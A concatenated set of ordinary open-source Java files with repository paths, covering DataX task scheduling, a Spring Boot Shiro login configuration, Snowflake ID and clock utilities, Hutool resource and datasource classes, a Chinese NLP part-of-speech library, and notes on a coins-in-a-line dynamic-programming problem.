classLoaderSwapper.restoreCurrentThreadClassLoader(); return writerSlicesConfigs; } /** * 按顺序整合reader和writer的配置,这里的顺序不能乱! 输入是reader、writer级别的配置,输出是一个完整task的配置 * * @param readerTasksConfigs * @param writerTasksConfigs * @return */ private List<Configuration> mergeReaderAndWriterTaskConfigs( List<Configuration> readerTasksConfigs, List<Configuration> writerTasksConfigs) { return mergeReaderAndWriterTaskConfigs(readerTasksConfigs, writerTasksConfigs, null); } private List<Configuration> mergeReaderAndWriterTaskConfigs( List<Configuration> readerTasksConfigs, List<Configuration> writerTasksConfigs, List<Configuration> transformerConfigs) { if (readerTasksConfigs.size() != writerTasksConfigs.size()) { throw DataXException.asDataXException( FrameworkErrorCode.PLUGIN_SPLIT_ERROR, String.format("reader切分的task数目[%d]不等于writer切分的task数目[%d].", readerTasksConfigs.size(), writerTasksConfigs.size()) ); } List<Configuration> contentConfigs = new ArrayList<Configuration>(); for (int i = 0; i < readerTasksConfigs.size(); i++) { Configuration taskConfig = Configuration.newDefault(); taskConfig.set(CoreConstant.JOB_READER_NAME, this.readerPluginName); taskConfig.set(CoreConstant.JOB_READER_PARAMETER, readerTasksConfigs.get(i)); taskConfig.set(CoreConstant.JOB_WRITER_NAME, this.writerPluginName); taskConfig.set(CoreConstant.JOB_WRITER_PARAMETER, writerTasksConfigs.get(i)); if(transformerConfigs!=null && transformerConfigs.size()>0){ taskConfig.set(CoreConstant.JOB_TRANSFORMER, transformerConfigs); } taskConfig.set(CoreConstant.TASK_ID, i); contentConfigs.add(taskConfig); } return contentConfigs; } /** * 这里比较复杂,分两步整合 1. tasks到channel 2. channel到taskGroup * 合起来考虑,其实就是把tasks整合到taskGroup中,需要满足计算出的channel数,同时不能多起channel * <p/> * example: * <p/> * 前提条件: 切分后是1024个分表,假设用户要求总速率是1000M/s,每个channel的速率的3M/s, * 每个taskGroup负责运行7个channel * <p/> * 计算: 总channel数为:1000M/s / 3M/s = * 333个,为平均分配,计算可知有308个每个channel有3个tasks,而有25个每个channel有4个tasks, * 需要的taskGroup数为:333 / 7 = * 47...4,也就是需要48个taskGroup,47个是每个负责7个channel,有4个负责1个channel * <p/> * 处理:我们先将这负责4个channel的taskGroup处理掉,逻辑是: * 先按平均为3个tasks找4个channel,设置taskGroupId为0, * 接下来就像发牌一样轮询分配task到剩下的包含平均channel数的taskGroup中 * <p/> * TODO delete it * * @param averTaskPerChannel * @param channelNumber * @param channelsPerTaskGroup * @return 每个taskGroup独立的全部配置 */ @SuppressWarnings("serial") private List<Configuration> distributeTasksToTaskGroup( int averTaskPerChannel, int channelNumber, int channelsPerTaskGroup) { Validate.isTrue(averTaskPerChannel > 0 && channelNumber > 0 && channelsPerTaskGroup > 0, "每个channel的平均task数[averTaskPerChannel],channel数目[channelNumber],每个taskGroup的平均channel数[channelsPerTaskGroup]都应该为正数"); List<Configuration> taskConfigs = this.configuration .getListConfiguration(CoreConstant.DATAX_JOB_CONTENT); int taskGroupNumber = channelNumber / channelsPerTaskGroup; int leftChannelNumber = channelNumber % channelsPerTaskGroup; if (leftChannelNumber > 0) { taskGroupNumber += 1; } /** * 如果只有一个taskGroup,直接打标返回 */ if (taskGroupNumber == 1) { final Configuration taskGroupConfig = this.configuration.clone(); /** * configure的clone不能clone出 */ taskGroupConfig.set(CoreConstant.DATAX_JOB_CONTENT, this.configuration .getListConfiguration(CoreConstant.DATAX_JOB_CONTENT)); taskGroupConfig.set(CoreConstant.DATAX_CORE_CONTAINER_TASKGROUP_CHANNEL, channelNumber); taskGroupConfig.set(CoreConstant.DATAX_CORE_CONTAINER_TASKGROUP_ID, 0); return new ArrayList<Configuration>() { { add(taskGroupConfig); } }; } List<Configuration> taskGroupConfigs = new ArrayList<Configuration>(); /** * 将每个taskGroup中content的配置清空 */ for (int i = 0; i < taskGroupNumber; i++) { Configuration taskGroupConfig = this.configuration.clone(); List<Configuration> taskGroupJobContent = taskGroupConfig .getListConfiguration(CoreConstant.DATAX_JOB_CONTENT); taskGroupJobContent.clear(); taskGroupConfig.set(CoreConstant.DATAX_JOB_CONTENT, taskGroupJobContent); taskGroupConfigs.add(taskGroupConfig); } int taskConfigIndex = 0; int channelIndex = 0; int taskGroupConfigIndex = 0; /** * 先处理掉taskGroup包含channel数不是平均值的taskGroup */ if (leftChannelNumber > 0) { Configuration taskGroupConfig = taskGroupConfigs.get(taskGroupConfigIndex); for (; channelIndex < leftChannelNumber; channelIndex++) { for (int i = 0; i < averTaskPerChannel; i++) { List<Configuration> taskGroupJobContent = taskGroupConfig .getListConfiguration(CoreConstant.DATAX_JOB_CONTENT); taskGroupJobContent.add(taskConfigs.get(taskConfigIndex++)); taskGroupConfig.set(CoreConstant.DATAX_JOB_CONTENT, taskGroupJobContent); } } taskGroupConfig.set(CoreConstant.DATAX_CORE_CONTAINER_TASKGROUP_CHANNEL, leftChannelNumber); taskGroupConfig.set(CoreConstant.DATAX_CORE_CONTAINER_TASKGROUP_ID, taskGroupConfigIndex++); } /** * 下面需要轮询分配,并打上channel数和taskGroupId标记 */ int equalDivisionStartIndex = taskGroupConfigIndex; for (; taskConfigIndex < taskConfigs.size() && equalDivisionStartIndex < taskGroupConfigs.size(); ) { for (taskGroupConfigIndex = equalDivisionStartIndex; taskGroupConfigIndex < taskGroupConfigs .size() && taskConfigIndex < taskConfigs.size(); taskGroupConfigIndex++) { Configuration taskGroupConfig = taskGroupConfigs.get(taskGroupConfigIndex); List<Configuration> taskGroupJobContent = taskGroupConfig .getListConfiguration(CoreConstant.DATAX_JOB_CONTENT); taskGroupJobContent.add(taskConfigs.get(taskConfigIndex++)); taskGroupConfig.set( CoreConstant.DATAX_JOB_CONTENT, taskGroupJobContent); } } for (taskGroupConfigIndex = equalDivisionStartIndex; taskGroupConfigIndex < taskGroupConfigs.size(); ) { Configuration taskGroupConfig = taskGroupConfigs.get(taskGroupConfigIndex); taskGroupConfig.set(CoreConstant.DATAX_CORE_CONTAINER_TASKGROUP_CHANNEL, channelsPerTaskGroup); taskGroupConfig.set(CoreConstant.DATAX_CORE_CONTAINER_TASKGROUP_ID, taskGroupConfigIndex++); } return taskGroupConfigs; } private void postJobReader() { classLoaderSwapper.setCurrentThreadClassLoader(LoadUtil.getJarLoader( PluginType.READER, this.readerPluginName)); LOG.info("DataX Reader.Job [{}] do post work.", this.readerPluginName); this.jobReader.post(); classLoaderSwapper.restoreCurrentThreadClassLoader(); } private void postJobWriter() { classLoaderSwapper.setCurrentThreadClassLoader(LoadUtil.getJarLoader( PluginType.WRITER, this.writerPluginName)); LOG.info("DataX Writer.Job [{}] do post work.", this.writerPluginName); this.jobWriter.post(); classLoaderSwapper.restoreCurrentThreadClassLoader(); } /** * 检查最终结果是否超出阈值,如果阈值设定小于1,则表示百分数阈值,大于1表示条数阈值。 * * @param */ private void checkLimit() { Communication communication = super.getContainerCommunicator().collect(); errorLimit.checkRecordLimit(communication); errorLimit.checkPercentageLimit(communication); } /** * 调用外部hook */ private void invokeHooks() { Communication comm = super.getContainerCommunicator().collect(); HookInvoker invoker = new HookInvoker(CoreConstant.DATAX_HOME + "/hook", configuration, comm.getCounter()); invoker.invokeAll(); } }
alibaba/DataX
core/src/main/java/com/alibaba/datax/core/job/JobContainer.java
21
package com.neo.config; import org.apache.shiro.authc.credential.HashedCredentialsMatcher; import org.apache.shiro.mgt.SecurityManager; import org.apache.shiro.spring.security.interceptor.AuthorizationAttributeSourceAdvisor; import org.apache.shiro.spring.web.ShiroFilterFactoryBean; import org.apache.shiro.web.mgt.DefaultWebSecurityManager; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.web.servlet.handler.SimpleMappingExceptionResolver; import java.util.LinkedHashMap; import java.util.Map; import java.util.Properties; @Configuration public class ShiroConfig { @Bean public ShiroFilterFactoryBean shirFilter(SecurityManager securityManager) { System.out.println("ShiroConfiguration.shirFilter()"); ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean(); shiroFilterFactoryBean.setSecurityManager(securityManager); //拦截器. Map<String,String> filterChainDefinitionMap = new LinkedHashMap<String,String>(); // 配置不会被拦截的链接 顺序判断 filterChainDefinitionMap.put("/static/**", "anon"); //配置退出 过滤器,其中的具体的退出代码Shiro已经替我们实现了 filterChainDefinitionMap.put("/logout", "logout"); //<!-- 过滤链定义,从上向下顺序执行,一般将/**放在最为下边 -->:这是一个坑呢,一不小心代码就不好使了; //<!-- authc:所有url都必须认证通过才可以访问; anon:所有url都都可以匿名访问--> filterChainDefinitionMap.put("/**", "authc"); // 如果不设置默认会自动寻找Web工程根目录下的"/login.jsp"页面 shiroFilterFactoryBean.setLoginUrl("/login"); // 登录成功后要跳转的链接 shiroFilterFactoryBean.setSuccessUrl("/index"); //未授权界面; shiroFilterFactoryBean.setUnauthorizedUrl("/403"); shiroFilterFactoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap); return shiroFilterFactoryBean; } /** * 凭证匹配器 * (由于我们的密码校验交给Shiro的SimpleAuthenticationInfo进行处理了 * ) * @return */ @Bean public HashedCredentialsMatcher hashedCredentialsMatcher(){ HashedCredentialsMatcher hashedCredentialsMatcher = new HashedCredentialsMatcher(); hashedCredentialsMatcher.setHashAlgorithmName("md5");//散列算法:这里使用MD5算法; hashedCredentialsMatcher.setHashIterations(2);//散列的次数,比如散列两次,相当于 md5(md5("")); return hashedCredentialsMatcher; } @Bean public MyShiroRealm myShiroRealm(){ MyShiroRealm myShiroRealm = new MyShiroRealm(); myShiroRealm.setCredentialsMatcher(hashedCredentialsMatcher()); return myShiroRealm; } @Bean public SecurityManager securityManager(){ DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager(); securityManager.setRealm(myShiroRealm()); return securityManager; } /** * 开启shiro aop注解支持. * 使用代理方式;所以需要开启代码支持; * @param securityManager * @return */ @Bean public AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor(SecurityManager securityManager){ AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor = new AuthorizationAttributeSourceAdvisor(); authorizationAttributeSourceAdvisor.setSecurityManager(securityManager); return authorizationAttributeSourceAdvisor; } @Bean(name="simpleMappingExceptionResolver") public SimpleMappingExceptionResolver createSimpleMappingExceptionResolver() { SimpleMappingExceptionResolver r = new SimpleMappingExceptionResolver(); Properties mappings = new Properties(); mappings.setProperty("DatabaseException", "databaseError");//数据库异常处理 mappings.setProperty("UnauthorizedException","403"); r.setExceptionMappings(mappings); // None by default r.setDefaultErrorView("error"); // No default r.setExceptionAttribute("ex"); // Default is "exception" //r.setWarnLogCategory("example.MvcLogger"); // No default return r; } }
ityouknow/spring-boot-examples
2.x/spring-boot-shiro/src/main/java/com/neo/config/ShiroConfig.java
22
package com.zheng.common.util.key; import java.sql.Timestamp; import java.util.concurrent.*; import java.util.concurrent.atomic.AtomicLong; /** * 高并发场景下System.currentTimeMillis()的性能问题的优化 * <p><p> * System.currentTimeMillis()的调用比new一个普通对象要耗时的多(具体耗时高出多少我还没测试过,有人说是100倍左右)<p> * System.currentTimeMillis()之所以慢是因为去跟系统打了一次交道<p> * 后台定时更新时钟,JVM退出时,线程自动回收<p> * 10亿:43410,206,210.72815533980582%<p> * 1亿:4699,29,162.0344827586207%<p> * 1000万:480,12,40.0%<p> * 100万:50,10,5.0%<p> * @author lry */ public class SystemClock { private final long period; private final AtomicLong now; ExecutorService executor = Executors.newSingleThreadExecutor(); private SystemClock(long period) { this.period = period; this.now = new AtomicLong(System.currentTimeMillis()); scheduleClockUpdating(); } private static class InstanceHolder { public static final SystemClock INSTANCE = new SystemClock(1); } private static SystemClock instance() { return InstanceHolder.INSTANCE; } private void scheduleClockUpdating() { ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(new ThreadFactory() { @Override public Thread newThread(Runnable runnable) { Thread thread = new Thread(runnable, "System Clock"); thread.setDaemon(true); return thread; } }); scheduler.scheduleAtFixedRate(new Runnable() { @Override public void run() { now.set(System.currentTimeMillis()); } }, period, period, TimeUnit.MILLISECONDS); } private long currentTimeMillis() { return now.get(); } public static long now() { return instance().currentTimeMillis(); } public static String nowDate() { return new Timestamp(instance().currentTimeMillis()).toString(); } }
shuzheng/zheng
zheng-common/src/main/java/com/zheng/common/util/key/SystemClock.java
23
package com.zheng.common.util.key; /** * Twitter_Snowflake<br> * SnowFlake的结构如下(每部分用-分开):<br> * 0 - 0000000000 0000000000 0000000000 0000000000 0 - 00000 - 00000 - 000000000000 <br> * 1位标识,由于long基本类型在Java中是带符号的,最高位是符号位,正数是0,负数是1,所以id一般是正数,最高位是0<br> * 41位时间截(毫秒级),注意,41位时间截不是存储当前时间的时间截,而是存储时间截的差值(当前时间截 - 开始时间截) * 得到的值),这里的的开始时间截,一般是我们的id生成器开始使用的时间,由我们程序来指定的(如下下面程序IdWorker类的startTime属性)。41位的时间截,可以使用69年,年T = (1L << 41) / (1000L * 60 * 60 * 24 * 365) = 69<br> * 10位的数据机器位,可以部署在1024个节点,包括5位datacenterId和5位workerId<br> * 12位序列,毫秒内的计数,12位的计数顺序号支持每个节点每毫秒(同一机器,同一时间截)产生4096个ID序号<br> * 加起来刚好64位,为一个Long型。<br> * SnowFlake的优点是,整体上按照时间自增排序,并且整个分布式系统内不会产生ID碰撞(由数据中心ID和机器ID作区分),并且效率较高,经测试,SnowFlake每秒能够产生26万ID左右。 */ public class SnowflakeIdWorker { // ==============================Fields=========================================== /** * 开始时间截 (2015-01-01) */ private final long twepoch = 1420041600000L; /** * 机器id所占的位数 */ private final long workerIdBits = 5L; /** * 数据标识id所占的位数 */ private final long datacenterIdBits = 5L; /** * 支持的最大机器id,结果是31 (这个移位算法可以很快的计算出几位二进制数所能表示的最大十进制数) */ private final long maxWorkerId = -1L ^ (-1L << workerIdBits); /** * 支持的最大数据标识id,结果是31 */ private final long maxDatacenterId = -1L ^ (-1L << datacenterIdBits); /** * 序列在id中占的位数 */ private final long sequenceBits = 12L; /** * 机器ID向左移12位 */ private final long workerIdShift = sequenceBits; /** * 数据标识id向左移17位(12+5) */ private final long datacenterIdShift = sequenceBits + workerIdBits; /** * 时间截向左移22位(5+5+12) */ private final long timestampLeftShift = sequenceBits + workerIdBits + datacenterIdBits; /** * 生成序列的掩码,这里为4095 (0b111111111111=0xfff=4095) */ private final long sequenceMask = -1L ^ (-1L << sequenceBits); /** * 工作机器ID(0~31) */ private long workerId; /** * 数据中心ID(0~31) */ private long datacenterId; /** * 毫秒内序列(0~4095) */ private long sequence = 0L; /** * 上次生成ID的时间截 */ private long lastTimestamp = -1L; //==============================Constructors===================================== /** * 构造函数 * * @param workerId 工作ID (0~31) * @param datacenterId 数据中心ID (0~31) */ public SnowflakeIdWorker(long workerId, long datacenterId) { if (workerId > maxWorkerId || workerId < 0) { throw new IllegalArgumentException(String.format("worker Id can't be greater than %d or less than 0", maxWorkerId)); } if (datacenterId > maxDatacenterId || datacenterId < 0) { throw new IllegalArgumentException(String.format("datacenter Id can't be greater than %d or less than 0", maxDatacenterId)); } this.workerId = workerId; this.datacenterId = datacenterId; } // ==============================Methods========================================== /** * 获得下一个ID (该方法是线程安全的) * * @return SnowflakeId */ public synchronized long nextId() { long timestamp = timeGen(); //如果当前时间小于上一次ID生成的时间戳,说明系统时钟回退过这个时候应当抛出异常 if (timestamp < lastTimestamp) { throw new RuntimeException( String.format("Clock moved backwards. Refusing to generate id for %d milliseconds", lastTimestamp - timestamp)); } //如果是同一时间生成的,则进行毫秒内序列 if (lastTimestamp == timestamp) { sequence = (sequence + 1) & sequenceMask; //毫秒内序列溢出 if (sequence == 0) { //阻塞到下一个毫秒,获得新的时间戳 timestamp = tilNextMillis(lastTimestamp); } } //时间戳改变,毫秒内序列重置 else { sequence = 0L; } //上次生成ID的时间截 lastTimestamp = timestamp; //移位并通过或运算拼到一起组成64位的ID return ((timestamp - twepoch) << timestampLeftShift) // | (datacenterId << datacenterIdShift) // | (workerId << workerIdShift) // | sequence; } /** * 阻塞到下一个毫秒,直到获得新的时间戳 * * @param lastTimestamp 上次生成ID的时间截 * @return 当前时间戳 */ protected long tilNextMillis(long lastTimestamp) { long timestamp = timeGen(); while (timestamp <= lastTimestamp) { timestamp = timeGen(); } return timestamp; } /** * 返回以毫秒为单位的当前时间 * * @return 当前时间(毫秒) */ protected long timeGen() { //return System.currentTimeMillis(); return SystemClock.now(); } //==============================Test============================================= /** * 测试 */ public static void main(String[] args) { long start = System.currentTimeMillis(); SnowflakeIdWorker idWorker0 = new SnowflakeIdWorker(0, 0); for (int i = 0; i < 10000000; i++) { long id = idWorker0.nextId(); //System.out.println(id); } System.out.println("耗时:" + (System.currentTimeMillis() - start)); } }
shuzheng/zheng
zheng-common/src/main/java/com/zheng/common/util/key/SnowflakeIdWorker.java
24
package cn.hutool.core.io.resource; import cn.hutool.core.io.IORuntimeException; import cn.hutool.core.io.IoUtil; import cn.hutool.core.util.CharsetUtil; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.URL; import java.nio.charset.Charset; /** * 资源接口定义<br> * <p>资源是数据表示的统称,我们可以将任意的数据封装为一个资源,然后读取其内容。</p> * <p>资源可以是文件、URL、ClassPath中的文件亦或者jar(zip)包中的文件。</p> * <p> * 提供资源接口的意义在于,我们可以使用一个方法接收任意类型的数据,从而处理数据, * 无需专门针对File、InputStream等写多个重载方法,同时也为更好的扩展提供了可能。 * </p> * <p>使用非常简单,假设我们需要从classpath中读取一个xml,我们不用关心这个文件在目录中还是在jar中:</p> * <pre> * Resource resource = new ClassPathResource("test.xml"); * String xmlStr = resource.readUtf8Str(); * </pre> * <p>同样,我们可以自己实现Resource接口,按照业务需要从任意位置读取数据,比如从数据库中。</p> * * @author looly * @since 3.2.1 */ public interface Resource { /** * 获取资源名,例如文件资源的资源名为文件名 * * @return 资源名 * @since 4.0.13 */ String getName(); /** * 获得解析后的{@link URL},无对应URL的返回{@code null} * * @return 解析后的{@link URL} */ URL getUrl(); /** * 获得 {@link InputStream} * * @return {@link InputStream} */ InputStream getStream(); /** * 检查资源是否变更<br> * 一般用于文件类资源,检查文件是否被修改过。 * * @return 是否变更 * @since 5.7.21 */ default boolean isModified(){ return false; } /** * 将资源内容写出到流,不关闭输出流,但是关闭资源流 * * @param out 输出流 * @throws IORuntimeException IO异常 * @since 5.3.5 */ default void writeTo(OutputStream out) throws IORuntimeException { try (InputStream in = getStream()) { IoUtil.copy(in, out); } catch (IOException e) { throw new IORuntimeException(e); } } /** * 获得Reader * * @param charset 编码 * @return {@link BufferedReader} */ default BufferedReader getReader(Charset charset) { return IoUtil.getReader(getStream(), charset); } /** * 读取资源内容,读取完毕后会关闭流<br> * 关闭流并不影响下一次读取 * * @param charset 编码 * @return 读取资源内容 * @throws IORuntimeException 包装{@link IOException} */ default String readStr(Charset charset) throws IORuntimeException { return IoUtil.read(getReader(charset)); } /** * 读取资源内容,读取完毕后会关闭流<br> * 关闭流并不影响下一次读取 * * @return 读取资源内容 * @throws IORuntimeException 包装IOException */ default String readUtf8Str() throws IORuntimeException { return readStr(CharsetUtil.CHARSET_UTF_8); } /** * 读取资源内容,读取完毕后会关闭流<br> * 关闭流并不影响下一次读取 * * @return 读取资源内容 * @throws IORuntimeException 包装IOException */ default byte[] readBytes() throws IORuntimeException { return IoUtil.readBytes(getStream()); } }
dromara/hutool
hutool-core/src/main/java/cn/hutool/core/io/resource/Resource.java
25
package cn.hutool.db.ds; import cn.hutool.log.StaticLog; /** * 全局的数据源工厂<br> * 一般情况下,一个应用默认只使用一种数据库连接池,因此维护一个全局的数据源工厂类减少判断连接池类型造成的性能浪费 * * @author looly * @since 4.0.2 */ public class GlobalDSFactory { private static volatile DSFactory factory; private static final Object lock = new Object(); /* * 设置在JVM关闭时关闭所有数据库连接 */ static { // JVM关闭时关闭所有连接池 Runtime.getRuntime().addShutdownHook(new Thread() { @Override public void run() { if (null != factory) { factory.destroy(); StaticLog.debug("DataSource: [{}] destroyed.", factory.dataSourceName); factory = null; } } }); } /** * 获取默认的数据源工厂,读取默认数据库配置文件<br> * 此处使用懒加载模式,在第一次调用此方法时才创建默认数据源工厂<br> * 如果想自定义全局的数据源工厂,请在第一次调用此方法前调用{@link #set(DSFactory)} 方法自行定义 * * @return 当前使用的数据源工厂 */ public static DSFactory get() { if (null == factory) { synchronized (lock) { if (null == factory) { factory = DSFactory.create(null); } } } return factory; } /** * 设置全局的数据源工厂<br> * 在项目中存在多个连接池库的情况下,我们希望使用低优先级的库时使用此方法自定义之<br> * 重新定义全局的数据源工厂此方法可在以下两种情况下调用: * * <pre> * 1. 在get方法调用前调用此方法来自定义全局的数据源工厂 * 2. 替换已存在的全局数据源工厂,当已存在时会自动关闭 * </pre> * * @param customDSFactory 自定义数据源工厂 * @return 自定义的数据源工厂 */ public static DSFactory set(DSFactory customDSFactory) { synchronized (lock) { if (null != factory) { if (factory.equals(customDSFactory)) { return factory;// 数据源工厂不变时返回原数据源工厂 } // 自定义数据源工厂前关闭之前的数据源 factory.destroy(); } StaticLog.debug("Custom use [{}] DataSource.", customDSFactory.dataSourceName); factory = customDSFactory; } return factory; } }
dromara/hutool
hutool-db/src/main/java/cn/hutool/db/ds/GlobalDSFactory.java
26
package cn.hutool.setting.profile; import cn.hutool.core.lang.Assert; import cn.hutool.core.map.SafeConcurrentHashMap; import cn.hutool.core.util.StrUtil; import cn.hutool.setting.Setting; import java.io.Serializable; import java.nio.charset.Charset; import java.util.Map; /** * Profile可以让我们定义一系列的配置信息,然后指定其激活条件。<br> * 此类中我们规范一套规则如下:<br> * 默认的,我们读取${classpath}/default下的配置文件(*.setting文件),当调用setProfile方法时,指定一个profile,即可读取其目录下的配置文件。<br> * 比如我们定义几个profile:test,develop,production,分别代表测试环境、开发环境和线上环境,我希望读取数据库配置文件db.setting,那么: * <ol> * <li>test =》 ${classpath}/test/db.setting</li> * <li>develop =》 ${classpath}/develop/db.setting</li> * <li>production =》 ${classpath}/production/db.setting</li> * </ol> * * @author Looly * */ public class Profile implements Serializable { private static final long serialVersionUID = -4189955219454008744L; /** 默认环境 */ public static final String DEFAULT_PROFILE = "default"; /** 条件 */ private String profile; /** 编码 */ private Charset charset; /** 是否使用变量 */ private boolean useVar; /** 配置文件缓存 */ private final Map<String, Setting> settingMap = new SafeConcurrentHashMap<>(); // -------------------------------------------------------------------------------- Constructor start /** * 默认构造,环境使用默认的:default,编码UTF-8,不使用变量 */ public Profile() { this(DEFAULT_PROFILE); } /** * 构造,编码UTF-8,不使用变量 * * @param profile 环境 */ public Profile(String profile) { this(profile, Setting.DEFAULT_CHARSET, false); } /** * 构造 * * @param profile 环境 * @param charset 编码 * @param useVar 是否使用变量 */ public Profile(String profile, Charset charset, boolean useVar) { this.profile = profile; this.charset = charset; this.useVar = useVar; } // -------------------------------------------------------------------------------- Constructor end /** * 获取当前环境下的配置文件 * * @param name 文件名,如果没有扩展名,默认为.setting * @return 当前环境下配置文件 */ public Setting getSetting(String name) { String nameForProfile = fixNameForProfile(name); Setting setting = settingMap.get(nameForProfile); if (null == setting) { setting = new Setting(nameForProfile, this.charset, this.useVar); settingMap.put(nameForProfile, setting); } return setting; } /** * 设置环境 * * @param profile 环境 * @return 自身 */ public Profile setProfile(String profile) { this.profile = profile; return this; } /** * 设置编码 * * @param charset 编码 * @return 自身 */ public Profile setCharset(Charset charset) { this.charset = charset; return this; } /** * 设置是否使用变量 * * @param useVar 变量 * @return 自身 */ public Profile setUseVar(boolean useVar) { this.useVar = useVar; return this; } /** * 清空所有环境的配置文件 * * @return 自身 */ public Profile clear() { this.settingMap.clear(); return this; } // -------------------------------------------------------------------------------- Private method start /** * 修正文件名 * * @param name 文件名 * @return 修正后的文件名 */ private String fixNameForProfile(String name) { Assert.notBlank(name, "Setting name must be not blank !"); final String actralProfile = StrUtil.nullToEmpty(this.profile); if (false == name.contains(StrUtil.DOT)) { return StrUtil.format("{}/{}.setting", actralProfile, name); } return StrUtil.format("{}/{}", actralProfile, name); } // -------------------------------------------------------------------------------- Private method end }
dromara/hutool
hutool-setting/src/main/java/cn/hutool/setting/profile/Profile.java
27
package org.ansj.library; import org.ansj.domain.Nature; import org.ansj.domain.Term; import org.ansj.util.MyStaticValue; import org.nlpcn.commons.lang.util.StringUtil; import org.nlpcn.commons.lang.util.logging.Log; import org.nlpcn.commons.lang.util.logging.LogFactory; import java.io.BufferedReader; import java.io.IOException; import java.util.HashMap; /** * 这里封装了词性和词性之间的关系.以及词性的索引.这是个好东西. 里面数组是从ict里面找来的. 不是很新.没有语料无法训练 * * @author ansj * */ public class NatureLibrary { private static final Log logger = LogFactory.getLog(NatureLibrary.class); private static final int YI = 1; private static final int FYI = -1; /** * 词性的字符串对照索引位的hashmap(我发现我又效率狂了.不能这样啊) */ private static final HashMap<String, Nature> NATUREMAP = new HashMap<String, Nature>(); /** * 词与词之间的关系.对照natureARRAY,natureMap */ private static int[][] NATURETABLE = null; /** * 初始化对照表 */ static { init(); } private static void init() { String split = "\t"; int maxLength = 0; String temp = null; String[] strs = null; // 加载词对照性表 try (BufferedReader reader = MyStaticValue.getNatureMapReader()) { int p0 = 0; int p1 = 0; int p2 = 0; while ((temp = reader.readLine()) != null) { strs = temp.split(split); if (strs.length != 4) { continue; } p0 = Integer.parseInt(strs[0]); p1 = Integer.parseInt(strs[1]); p2 = Integer.parseInt(strs[3]); NATUREMAP.put(strs[2], new Nature(strs[2], p0, p1, p2)); maxLength = Math.max(maxLength, p1); } } catch (IOException e) { logger.warn("词性列表加载失败!", e); } // 加载词性关系 try (BufferedReader reader = MyStaticValue.getNatureTableReader()) { NATURETABLE = new int[maxLength + 1][maxLength + 1]; int j = 0; while ((temp = reader.readLine()) != null) { if (StringUtil.isBlank(temp)) { continue; } strs = temp.split(split); for (int i = 0; i < strs.length; i++) { NATURETABLE[j][i] = Integer.parseInt(strs[i]); } j++; } } catch (IOException e) { logger.warn("加载词性关系失败!", e); } } /** * 获得两个词性之间的频率 * * @param from * @param to * @return */ public static int getTwoNatureFreq(Nature from, Nature to) { if (from.index < 0 || to.index < 0) { return 0; } return NATURETABLE[from.index][to.index]; } /** * 获得两个term之间的频率 * * @param fromTerm * @param toTerm * @return */ public static int getTwoTermFreq(Term fromTerm, Term toTerm) { Nature from = fromTerm.natrue(); Nature to = toTerm.natrue(); if (from.index < 0 || to.index < 0) { return 0; } return NATURETABLE[from.index][to.index]; } /** * 根据字符串得道词性.没有就创建一个 * * @param natureStr * @return */ public static Nature getNature(String natureStr) { Nature nature = NATUREMAP.get(natureStr); if (nature == null) { nature = new Nature(natureStr, FYI, FYI, YI); NATUREMAP.put(natureStr, nature); return nature; } return nature; } }
NLPchina/ansj_seg
src/main/java/org/ansj/library/NatureLibrary.java
28
M 1521605526 tags: DP, Greedy, Game Theory 拿棋子游戏, 每个人可以拿1个或者2个, 拿走最后一个子儿的输. 问: 根据给的棋子输, 是否能确定先手的输赢? Game Theory: 如果我要赢, 后手得到的局面一定要'有输的可能'. #### DP, Game Theory - 要赢, 必须保证对手拿到棋盘时, 在所有他可走的情况中, '有可能败', 那就足够. - 设计dp[i]:表示我面对i个coins的局面时是否能赢, 取决于我拿掉1个,或者2个时, 对手是不是会可能输? - dp[i] = !dp[i - 1] || !dp[i-2] - 时间: O(n), 空间O(n) - 博弈问题, 常从'我的第一步'角度分析, 因为此时局面最简单. #### Rolling Array 空间优化O(1). Rolling array, %2 ``` /* There are n coins in a line. Two players take turns to take one or two coins from right side until there are no more coins left. The player who take the last coin wins. Could you please decide the first play will win or lose? Example n = 1, return true. n = 2, return true. n = 3, return false. n = 4, return true. n = 5, return true. Challenge O(n) time and O(1) memory Tags Expand Greedy Dynamic Programming Array Game Theory */ /* Thoughts: Game theory: if the first-hand wants to win, the opponent should be able to lose in the following move. The player wins if there is only 1 or 2 coins on the plate. Goal: at current state, make a move and make sure the next play definitely loses. Meet either one of the conditions: - 1st player picks 1 coin, 2nd play must lose with n - 1 coins; - 1st player picks 2 coins, 2nd play must lose with n - 2 coins; dp[i] = true/false: facing i coins,can player win? dp[i] = !dp[i - 1] || !dp[i - 2]; Meaning: either at (i-1) or (i-2), as long as the opponent player has possibilty to lose, it's 100% win for first player. - Size of dp should be n + 1; we are counting 0 coins. - init: true for 1 or 2 coins O(n) */ public class Solution { /** * @param n: an integer * @return: a boolean which equals to true if the first player will win */ public boolean firstWillWin(int n) { if (n <= 0) { return false; } boolean[] dp = new boolean[n + 1]; dp[0] = false; // no coins to pick. dp[1] = true; // the player wins; of course dp[2]=true as well for the player, but it'll be calculated below for (int i = 2; i <= n; i++) { dp[i] = !dp[i - 2] || !dp[i - 1]; } return dp[n]; } } /* Rolling Array [i] only associates with [i - 1] && [i - 2]: rolling array % Time: O(n) Space: O(1) */ public class Solution { public boolean firstWillWin(int n) { if (n <= 0) { return false; } boolean[] dp = new boolean[2]; dp[0] = false; dp[1] = true; for (int i = 2; i <= n; i++) { dp[i % 2] = !dp[(i - 1) % 2] || !dp[(i - 2) % 2]; } return dp[n % 2]; } } /* Previous notes: Rolling array: only need to use i, i-1, i-2 */ public class Solution { public boolean firstWillWin(int n) { if (n <= 0) { return false; } if (n <= 2) { return true; } int start = 0; int mid = 1; int end = 2; boolean[] dp = new boolean[3]; dp[start] = false; // no coins to pick. dp[mid] = true; for (int i = 2; i <= n; i++) { dp[end] = !dp[start] || !dp[mid]; if (i != n) { start = (start + 1) % 3; mid = (mid + 1) % 3; end = (end + 1) % 3; } } return dp[end]; } } /* Not recommended. Thoughts: Clarify: '1st play will win' means: if play properly, 1st play will surely have a way to win that 2nd play can't beat. Make dp[i]: the result when n = i. fn: Think back a step, state-1: When it's play1's turn, there might be 1 or 2 coins left so he can win. so -1, or -2. THink back a 2nd step, state-2: 